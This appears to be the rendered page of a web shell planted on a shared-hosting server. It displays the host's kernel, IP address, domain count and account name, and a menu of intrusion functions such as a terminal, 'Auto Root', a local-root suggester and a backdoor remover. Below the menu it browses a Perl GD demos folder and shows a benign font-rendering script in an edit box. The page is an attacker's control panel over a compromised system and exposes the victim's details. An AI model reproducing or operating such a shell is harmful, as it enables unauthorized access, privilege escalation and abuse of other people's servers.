Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.255
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-GD /
demos /
Delete
Unzip
Name
Size
Permission
Date
Action
brushes.pl
923
B
-rwxr-xr-x
2021-12-22 15:12
copies.pl
1.07
KB
-rwxr-xr-x
2021-12-22 15:12
draw_colors.pl
944
B
-rwxr-xr-x
2021-12-22 15:12
fills.pl
590
B
-rwxr-xr-x
2021-12-22 15:12
font_list.png
21.56
KB
-rw-r--r--
2017-04-20 11:27
fonttest
936
B
-rwxr-xr-x
2017-04-20 11:27
gd_example.cgi
683
B
-rwxr-xr-x
2021-12-22 15:12
polyline.pl
8.64
KB
-rw-r--r--
2021-12-22 15:12
polys.pl
785
B
-rwxr-xr-x
2021-12-22 15:12
shapes.pl
1.26
KB
-rwxr-xr-x
2021-12-22 15:12
tile.png
280
B
-rw-r--r--
2017-04-20 11:27
transform.pl
698
B
-rwxr-xr-x
2021-12-22 15:12
truetype_test
864
B
-rwxr-xr-x
2021-12-22 15:12
ttf.pl
736
B
-rwxr-xr-x
2021-12-22 15:12
Save
Rename
#!/usr/bin/perl use lib '../blib/lib','../blib/arch'; use GD 1.20; use constant FONT_DIRECTORY => '/dosc/windows/fonts'; my $directory = shift || FONT_DIRECTORY; my @fonts = <$directory/*.pfa $directory/*.pfb $directory/*.ttf>; die "Usage: $0 <directory>\nDisplays a directory of TrueType and Type1 fonts\n" unless @fonts; my $im = new GD::Image(800,600); my ($white,$black) = ( $im->colorAllocate(255, 255, 255), $im->colorAllocate(0, 0, 0)); my ($x,$y) = (20,20); my $max_x = 0; for my $font (@fonts) { my ($font_name) = $font =~ /([^\\\/]+)$/; warn "rendering $font_name\n"; (my @h = $im->stringTTF($black,$font,12.0,0.0,$x,$y,$font_name)) || next; $y = $h[1] + 12 + 5; $max_x = $max_x > $h[4] ? $max_x : $h[4]; if ($y > 600) { $y = 20; $x = $max_x + 5; } } binmode STDOUT; # print the image to stdout print $im->png;
